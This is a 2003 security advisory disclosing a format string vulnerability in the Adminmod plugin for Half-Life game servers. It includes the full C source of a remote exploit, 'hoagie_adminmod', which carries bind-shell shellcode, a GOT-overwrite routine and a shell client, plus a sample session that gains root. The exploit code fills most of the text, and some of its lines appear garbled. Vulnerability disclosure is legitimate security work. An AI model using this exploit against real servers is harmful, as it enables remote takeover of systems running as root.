-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [void.at Security Advisory VSA0302] Adminmod[1] is a plugin for the "Half-Life Server", hosting the most popular online game today, "Counter-Strike", among others. Overview ======== Due to a format string bug in adminmod, it is possible for a remote attacker who knows the rcon-password to remotely exploit the gameserver. Since most game-server- admins I've seen are not very security-aware, the server generally runs as root. The rcon-password can be obtained using social engineering or sniffing-techniques, since it is being transmitted in plaintext. It is needed because the vulnerable function can only be called via rcon. Affected Versions ================= Adminmod versions 2.50.25a and 2.50.50 on Windows and Linux, possibly others. Impact ====== High. Remote-shell and very likely remote-root. Details ======= Adminmod uses a pseudo-language (and even some kind of a virtual machine) to implement its commands. Too bad noone cared about format strings when writing the functions, so exactly the same vulnerability can be triggered using one of the following commands: admin_ban admin_banip admin_bury admin_execclient admin_gag admin_godmode admin_kick admin_llama admin_map admin_noclip admin_psay admin_slap admin_slay admin_teleport admin_unbury admin_ungag admin_unllama admin_userorigin admin_vote_kick admin_vote_map Seems like a cut-and-paste-error when you look at the code :-) All these functions suffer from the improper use of "selfmessage", like in the code for "admin_map": if (valid_map(Data)==1) { say_command(User,Command,Data); changelevel(Data, 4); } else { selfmessage("Bad map name"); selfmessage(Data); } Try it out in rcon: admin_command admin_map %08x L 01/10/2003 - 17:15:05: Bad map name L 01/10/2003 - 17:15:05: 434e2ae4 "selfmessage" calls "System_Response" with our string (util.cpp): 80 void System_Response(char *str,edict_t *pAdminEnt) { 81 82 if(pAdminEnt==NULL) { 83 UTIL_LogPrintf(str); 84 } else { 85 CLIENT_PRINTF( pAdminEnt, print_console,str); 86 } 87 88 } Too bad, CLIENT_PRINTF is safe, so this vulnerability can only be triggered via rcon (when we are at the console, pAdminEnt==NULL.) UTIL_LogPrintf behaves like a normal printf-function. Solution ======== Disable adminmod until a patched version becomes available. Change the rcon-password. Exploit ======= Please find attached a demonstration exploit. Note that it will only work against a Linux-server due to the exploitation technique. This does NOT mean that Windows-servers are not vulnerable, they still suffer from the same hole. Sample exploitation session =========================== greuff@saturn:~$ ./hoagie_adminmod localhost 27015 myprecious hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin by greuff@void.at Getting stackpop count.... Stackpops found: 29, Padding: 0 Writing shellcode.... Connecting to the shell... Connect to the shell id uid=0(root) gid=0(root) groups=0(root),101(lpadmin) exit Discovered by ============= greuff Credits ======= void.at everyone who was at 19c3 References ========== [1] http://www.adminmod.org ================================================================== /***************************************************************** * hoagie_adminmod.c * * Remote exploit for Halflife-Servers running the Adminmod-Plugin * (rcon-password required) * * Binds a shell to port 30464/tcp and connects to it. * * Author: greuff@void.at * * Tested on HL-Server v3.1.1.0 and AdminMod 2.50.26a, 2.50.50 * * Credits: * void.at * Taeho Oh for using parts of his shellcode-connection code. * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT. * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM. * *****************************************************************/ #include #include #include #include #include #include #include #include #include #define VSNPRINTF_GOT_ADDRESS 0x0804ce18 #define OFFSET 0x41414141 #define SB4(a) ((unsigned int)(a>>24)) #define SB3(a) ((unsigned int)((a>>16)&0xFF)) #define SB2(a) ((unsigned int)((a>>8)&0xFF)) #define SB1(a) ((unsigned int)(a&0XFF)) // forks and binds a shell to 30464/tcp. parent process exit()s. char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06" "\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51" "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd" "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77" "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51" "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3" "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03" "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0" "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd" "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c" "\x24\x31\xc0\xb0\x0b\xcd\x80" "\x31\xc0\xb0\x01\xcd\x80"; char server_ip[20]; char rcon_pwd[30]; int server_port; int exec_sh(int sockfd) { char snd[4096],rcv[4096]; fd_set rset; while(1) { FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sockfd,&rset); select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); } if(FD_ISSET(sockfd,&rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<=0) exit(0); fputs(rcv,stdout); } } } int connect_sh() { int sockfd,i; struct sockaddr_in sin; printf("Connect to the shell\n"); fflush(stdout); memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(30464); if(inet_aton(server_ip,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1); if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Can't create socket\n"); exit(0); } if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0) { printf("Can't connect to the shell\n"); exit(0); } return sockfd; } void create_conn(int *sock, char *host, int port) { struct sockaddr_in sin; struct timeval timeout; sin.sin_family=AF_INET; sin.sin_port=htons(port); if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1); if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1); timeout.tv_sec=10; timeout.tv_usec=0; if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout, sizeof(timeout))<0) perror("setsockopt"),exit(1); if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout, sizeof(timeout))<0) perror("setsockopt"),exit(1); } void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply) { char msg[2000]; struct sockaddr_in sin; struct sockaddr_in sfrom; fd_set fdset; int dummy; usleep(100); sin.sin_family=AF_INET; sin.sin_port=htons(port); if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1); sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd); if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0) perror("sendto"), exit(1); if(reply) { if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0) { if(errno==EAGAIN) { // resend message printf("msg stalled, resending...\n"); sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd); if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0) perror("sendto"), exit(1); else printf("resend OK\n"); if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0) perror("recvfrom"),exit(1); } else perror("recvfrom"), exit(1); } if(strncmp(msg,"\xFF\xFF\xFF\xFF",4)) fprintf(stderr,"protocol error: reply\n"), exit(1); strcpy(reply,msg+4); } } void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun) { char reply[1000]; char msg[2000]; lowlevel_rcon(sock,host,port,"challenge rcon",reply); if(!strstr(reply,"challenge rcon ")) fprintf(stderr,"protocol error\n"), exit(1); reply[strlen(reply)-1]=0; sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon "),rconpwd,cmd); if(reply_fun) lowlevel_rcon(sock,host,port,msg,reply); else lowlevel_rcon(sock,host,port,msg,NULL); if(reply_fun) strcpy(reply_fun,reply); } int get_padding(unsigned char c,int bytes_written) { int write_byte=c; int already_written=bytes_written; int padding; write_byte+=0x100; already_written%=0x100; padding=(write_byte-already_written)%0x100; if(padding<10) padding+=0x100; return padding; } void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3, int *p4, int bytes_written) { // greetings to scud :-) int write_byte; int already_written; int padding; write_byte=SB1(addr); already_written=bytes_written; write_byte+=0x100; already_written%=0x100; padding=(write_byte-already_written)%0x100; if(padding<10) padding+=0x100; *p1=padding; write_byte=SB2(addr); already_written+=padding; write_byte+=0x100; already_written%=0x100; padding=(write_byte-already_written)%0x100; if(padding<10) padding+=0x100; *p2=padding; write_byte=SB3(addr); already_written+=padding; write_byte+=0x100; already_written%=0x100; padding=(write_byte-already_written)%0x100; if(padding<10) padding+=0x100; *p3=padding; write_byte=SB4(addr); already_written+=padding; write_byte+=0x100; already_written%=0x100; padding=(write_byte-already_written)%0x100; if(padding<10) padding+=0x100; *p4=padding; } int main(int argc, char **argv) { int sock, stackpops, padding; int i,j,bytes_written; int p1,p2,p3,p4; char cmd[1000], reply[1000]; unsigned long addr; printf("hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin\n" "by greuff@void.at\n\n"); if(argc!=4) { printf("Usage: %s server_ip server_port rcon_password\n\n",argv[0]); exit(1); } strcpy(server_ip,argv[1]); server_port=strtol(argv[2],NULL,10); strcpy(rcon_pwd,argv[3]); create_conn(&sock,server_ip,server_port); printf("Getting stackpop count..."); send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply); stackpops=-1; for(padding=0;padding<4 && stackpops==-1;padding++) { for(i=1;i<100 && stackpops==-1;i++) { strcpy(cmd,"admin_command admin_map "); for(j=0;j0x75) { // leave space for jmp-instruction (5 bytes: 0xe9 offset/32) // distance is 0x13B-0x7A = 193d unsigned long target=192; strcpy(cmd,"admin_command admin_map "); for(j=0;j>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"admin_command admin_map "); for(j=0;j>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"admin_command admin_map "); for(j=0;j>8)&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"admin_command admin_map "); for(j=0;j>16)&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"admin_command admin_map "); for(j=0;j>24)&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr+=193; } else { // write shellcode-pieces strcpy(cmd,"admin_command admin_map "); for(j=0;j>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; i++; } printf("."); fflush(stdout); } // overwrite GOT entry with shellcode address strcpy(cmd,"admin_command admin_map "); for(j=0;j>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF, (addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF, (addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF, (addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF, p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL); sleep(1); close(sock); printf("\nConnecting to the shell...\n"); exec_sh(connect_sh()); return 0; } -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj4uaQAACgkQzxi8qAgTjUN92wCgjOO0dOX1QgL5i2uzzqJqc+5v F6MAnAkgI+puoiO54a5Smx8bNek9EgHa =6IUm -----END PGP SIGNATURE-----